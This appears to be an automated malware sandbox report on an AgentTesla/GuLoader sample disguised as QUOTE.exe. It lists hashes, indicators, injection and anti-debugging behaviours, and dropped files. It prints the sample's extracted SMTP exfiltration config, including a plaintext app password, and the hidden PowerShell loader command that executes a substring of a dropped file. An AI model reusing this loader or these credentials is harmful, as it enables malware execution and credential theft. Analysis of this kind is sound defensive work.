agenttesla | 86fd65c991039149a153bd61e8ffc9595fccdb8b4230be495ffc5e42eb84d6d4

Analysis

max time kernel
152s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
15/03/2024, 02:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

QUOTE.exe
Size

346KB
MD5

70c8145c188bf89c25f085e001c6f9a7
SHA1

d3e24cdd7272965ba04b8a0a7013c79e2633f7aa
SHA256

4cb733e05325fdf02dfaf5982ca2a8917373658aed1e328869077e92c6d73225
SHA512

445f9f092241810359fcd7e319ec5f0dc40a4f19656484085a37201b5dd348a246bb1916b9ee526292cdab00068c5f2ddaacc259470c440d4bd82c6ad6cfa40c
SSDEEP

6144:5XCKG5Hob1T0qQzmnMpv+j++KqfUuuMSR7EDaLLt+a5YiCmbnIGZmXjeqJKnuG2a:5XcHy1gqOppGq+k1imLwauAZCjeqJKuE

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.gmail.com
Port:
587
Username:
[email protected]
Password:
sqjj uocs bicm tinm
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
79	api.ipify.org
80	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2136	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1124	powershell.exe
2136	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1124 set thread context of 2136	1124	powershell.exe	113

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Konditional\threatened\mistilled\astringerings\backstretch.ini	QUOTE.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
2136	wab.exe
2136	wab.exe
2136	wab.exe
2136	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1124	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeDebugPrivilege	2136	wab.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4560 wrote to memory of 1124	4560	QUOTE.exe	100
PID 4560 wrote to memory of 1124	4560	QUOTE.exe	100
PID 4560 wrote to memory of 1124	4560	QUOTE.exe	100
PID 1124 wrote to memory of 2728	1124	powershell.exe	102
PID 1124 wrote to memory of 2728	1124	powershell.exe	102
PID 1124 wrote to memory of 2728	1124	powershell.exe	102
PID 1124 wrote to memory of 2136	1124	powershell.exe	113
PID 1124 wrote to memory of 2136	1124	powershell.exe	113
PID 1124 wrote to memory of 2136	1124	powershell.exe	113
PID 1124 wrote to memory of 2136	1124	powershell.exe	113
PID 1124 wrote to memory of 2136	1124	powershell.exe	113

C:\Users\Admin\AppData\Local\Temp\QUOTE.exe
"C:\Users\Admin\AppData\Local\Temp\QUOTE.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4560
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -windowstyle hidden "$Isocracy202=Get-Content 'C:\Users\Admin\AppData\Local\Temp\gyllepumper\kamgavls\jargonels\Infami\Metagaster\Brnehaveklasserne.Mom';$Alderdoms=$Isocracy202.SubString(54858,3);.$Alderdoms($Isocracy202)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
    3⤵
    PID:2728
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2136

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3844 --field-trial-handle=3060,i,1774866140584649235,8085848018931772189,262144 --variations-seed-version /prefetch:8
1⤵
PID:3444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ewgigdw4.z0p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gyllepumper\kamgavls\jargonels\Civilstandsbetegnelse.Adf

Filesize
326KB

MD5
2348c28b6ff7851f7162d654f935091f

SHA1
8442a4fa957f48402c3e3c2edd240acc5d4613cd

SHA256
6eb4bdccdb2c134c8083246c4dbfcb256f04e49b1689193422bc41b4b443164c

SHA512
27c9b48638d3ef6a191bf2861ee7ac86b4960a8e5b701f7db2787087fbe58e1d927dfa7247be90f35db6a6d7568110c3175e11b36e113d08bb021a7ce70d8771

Download Submit
C:\Users\Admin\AppData\Local\Temp\gyllepumper\kamgavls\jargonels\Infami\Metagaster\Brnehaveklasserne.Mom

Filesize
53KB

MD5
2a4402450d6e37b4c5f6434e8e2548ae

SHA1
29b0d015b4c7420b576f3ce745b95f16f416045e

SHA256
05e03c9da534face56a3181a98e7194ce73a4638f713523d26aa97486f427eea

SHA512
e5a69a27041b0c1f8592861e820da036edc41cf3b0d630a6eea8e1cb8935ff88a5aec6a231e240c2c3fa52c47c64608ea84924cb6165170e3ee144335fbb4387

Download Submit
memory/1124-36-0x00000000025C0000-0x00000000025D0000-memory.dmp

Filesize
64KB

Download
memory/1124-38-0x00000000086A0000-0x000000000A1B7000-memory.dmp

Filesize
27.1MB

Download
memory/1124-9-0x0000000005500000-0x0000000005566000-memory.dmp

Filesize
408KB

Download
memory/1124-7-0x0000000004CD0000-0x00000000052F8000-memory.dmp

Filesize
6.2MB

Download
memory/1124-10-0x0000000005570000-0x00000000055D6000-memory.dmp

Filesize
408KB

Download
memory/1124-16-0x00000000055E0000-0x0000000005934000-memory.dmp

Filesize
3.3MB

Download
memory/1124-21-0x0000000005BE0000-0x0000000005BFE000-memory.dmp

Filesize
120KB

Download
memory/1124-22-0x0000000005C80000-0x0000000005CCC000-memory.dmp

Filesize
304KB

Download
memory/1124-23-0x00000000025C0000-0x00000000025D0000-memory.dmp

Filesize
64KB

Download
memory/1124-24-0x0000000006DA0000-0x0000000006E36000-memory.dmp

Filesize
600KB

Download
memory/1124-25-0x0000000006100000-0x000000000611A000-memory.dmp

Filesize
104KB

Download
memory/1124-26-0x0000000006150000-0x0000000006172000-memory.dmp

Filesize
136KB

Download
memory/1124-27-0x00000000073F0000-0x0000000007994000-memory.dmp

Filesize
5.6MB

Download
memory/1124-6-0x0000000002610000-0x0000000002646000-memory.dmp

Filesize
216KB

Download
memory/1124-29-0x0000000008020000-0x000000000869A000-memory.dmp

Filesize
6.5MB

Download
memory/1124-31-0x00000000025C0000-0x00000000025D0000-memory.dmp

Filesize
64KB

Download
memory/1124-5-0x00000000025C0000-0x00000000025D0000-memory.dmp

Filesize
64KB

Download
memory/1124-33-0x00000000070F0000-0x00000000070F4000-memory.dmp

Filesize
16KB

Download
memory/1124-34-0x0000000073D70000-0x0000000074520000-memory.dmp

Filesize
7.7MB

Download
memory/1124-4-0x0000000073D70000-0x0000000074520000-memory.dmp

Filesize
7.7MB

Download
memory/1124-8-0x0000000005430000-0x0000000005452000-memory.dmp

Filesize
136KB

Download
memory/1124-39-0x00000000086A0000-0x000000000A1B7000-memory.dmp

Filesize
27.1MB

Download
memory/1124-37-0x00000000025C0000-0x00000000025D0000-memory.dmp

Filesize
64KB

Download
memory/1124-40-0x00000000025C0000-0x00000000025D0000-memory.dmp

Filesize
64KB

Download
memory/1124-41-0x00000000025C0000-0x00000000025D0000-memory.dmp

Filesize
64KB

Download
memory/1124-42-0x00000000777C1000-0x00000000778E1000-memory.dmp

Filesize
1.1MB

Download
memory/1124-43-0x00000000086A0000-0x000000000A1B7000-memory.dmp

Filesize
27.1MB

Download
memory/1124-55-0x00000000086A0000-0x000000000A1B7000-memory.dmp

Filesize
27.1MB

Download
memory/1124-52-0x0000000073D70000-0x0000000074520000-memory.dmp

Filesize
7.7MB

Download
memory/2136-46-0x00000000777C1000-0x00000000778E1000-memory.dmp

Filesize
1.1MB

Download
memory/2136-50-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/2136-51-0x00000000777C1000-0x00000000778E1000-memory.dmp

Filesize
1.1MB

Download
memory/2136-45-0x0000000077848000-0x0000000077849000-memory.dmp

Filesize
4KB

Download
memory/2136-53-0x0000000073D70000-0x0000000074520000-memory.dmp

Filesize
7.7MB

Download
memory/2136-54-0x0000000000E00000-0x0000000000E44000-memory.dmp

Filesize
272KB

Download
memory/2136-44-0x0000000002060000-0x0000000003B77000-memory.dmp

Filesize
27.1MB

Download
memory/2136-57-0x0000000021590000-0x00000000215A0000-memory.dmp

Filesize
64KB

Download
memory/2136-58-0x0000000002060000-0x0000000003B77000-memory.dmp

Filesize
27.1MB

Download
memory/2136-61-0x0000000073D70000-0x0000000074520000-memory.dmp

Filesize
7.7MB

Download
memory/2136-62-0x0000000021590000-0x00000000215A0000-memory.dmp

Filesize
64KB

Download
memory/2136-63-0x0000000021AB0000-0x0000000021B00000-memory.dmp

Filesize
320KB

Download